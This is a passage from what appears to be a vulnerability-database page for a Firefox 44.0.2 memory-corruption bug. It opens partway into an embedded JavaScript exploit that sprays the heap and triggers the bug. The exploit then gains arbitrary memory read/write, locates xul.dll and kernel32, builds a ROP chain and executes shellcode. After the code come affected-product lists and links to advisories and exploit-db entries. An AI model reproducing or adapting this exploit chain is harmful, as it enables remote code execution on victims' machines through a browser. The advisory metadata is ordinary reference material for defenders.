=== 2) { const query = href[1].split("="); if (query[0] === "style") { bruteforce = false; } addr = parseInt(query[1]); } nodes = spray.nodes(addr, bruteforce); /* * spray node pointers and trigger the bug */ document.body.innerHTML = "<svg><img id='AAAA'>"; const pointers = spray.pointers(); document.getElementById("AAAA").innerHTML = "<title><template><td><tr><title><i></tr><style>td</style>"; /* * on to the next run... */ if (bruteforce === true) { const style = spray.findStyleAddr(nodes); nodes = null; if (style) { window.location = href[0] + "?style=" + style; } else { window.location = href[0] + "?continue=" + spray.getNextAddr(addr); } return; } /* * reallocate the freed Uint32Array */ hijacked = spray.findArray(nodes, spray.arrays()); /* * setup helpers */ const rwx = new ReadWriteExecute(spray.nodeBase, nodes, hijacked); /* The first 4 bytes of the previously leaked [xul!nsHtml5Atoms::style] * contain the address of xul!PermanentAtomImpl::`vftable'. * * Note that the subtracted offset is specific to firefox 44.0.2. * However, since we can read arbitrary memory by this point, the * base of xul could easily (albeit perhaps somewhat slowly) be * located by searching for a PE signature */ const xulBase = rwx.readDWord(addr) - 0x1c1f834; log("style found at 0x" + addr.toString(16)); log("xul.dll found at 0x" + xulBase.toString(16)); const xulPE = new PortableExecutable(xulBase, rwx); xulPE.read(); const rop = new ROPHelper(xulPE, rwx); const kernel32 = new KERNEL32(rop, xulPE, rwx); const kernel32handle = kernel32.GetModuleHandleA("kernel32.dll"); const kernel32PE = new PortableExecutable(kernel32handle, rwx); kernel32PE.read(); const ntdll = new NTDLL(rop, kernel32PE, rwx); const icuuc55 = new ICUUC55(rop, xulPE, rwx); /* * execute shellcode */ const stack = ntdll.getStackLimit(kernel32.GetCurrentThread()); const exec = icuuc55.alloc(stack, shellcode.length); const proc = xulPE.search("kernel32.dll", "GetProcAddress"); rwx.writeString(exec, shellcode.join("")); rop.execute(exec, [kernel32handle, proc], true); }; </script> </head> </html>

Products Mentioned

Configuraton 0

Oracle>>Linux >> Version 5.0

Oracle>>Linux >> Version 6

Oracle>>Linux >> Version 7

Configuraton 0

Mozilla>>Firefox >> Version To (including) 44.0.2

Mozilla>>Firefox >> Version 38.0

Mozilla>>Firefox >> Version 38.0.1

Mozilla>>Firefox >> Version 38.0.5

Mozilla>>Firefox >> Version 38.1.0

Mozilla>>Firefox >> Version 38.1.1

Mozilla>>Firefox >> Version 38.2.0

Mozilla>>Firefox >> Version 38.2.1

Mozilla>>Firefox >> Version 38.3.0

Mozilla>>Firefox >> Version 38.4.0

Mozilla>>Firefox >> Version 38.5.0

Mozilla>>Firefox >> Version 38.5.1

Mozilla>>Firefox >> Version 38.6.0

Mozilla>>Firefox >> Version 38.6.1

Mozilla>>Thunderbird >> Version To (including) 38.6.0

Configuraton 0

Opensuse>>Leap >> Version 42.1

Opensuse>>Opensuse >> Version 13.1

Opensuse>>Opensuse >> Version 13.2

Suse>>Linux_enterprise >> Version 12.0

References

http://www.ubuntu.com/usn/USN-2917-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.debian.org/security/2016/dsa-3520
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/44294/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.debian.org/security/2016/dsa-3510
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securitytracker.com/id/1035215
Tags : vdb-entry, x_refsource_SECTRACK
https://security.gentoo.org/glsa/201605-06
Tags : vendor-advisory, x_refsource_GENTOO
http://www.ubuntu.com/usn/USN-2934-1
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.exploit-db.com/exploits/42484/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.ubuntu.com/usn/USN-2917-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2917-3
Tags : vendor-advisory, x_refsource_UBUNTU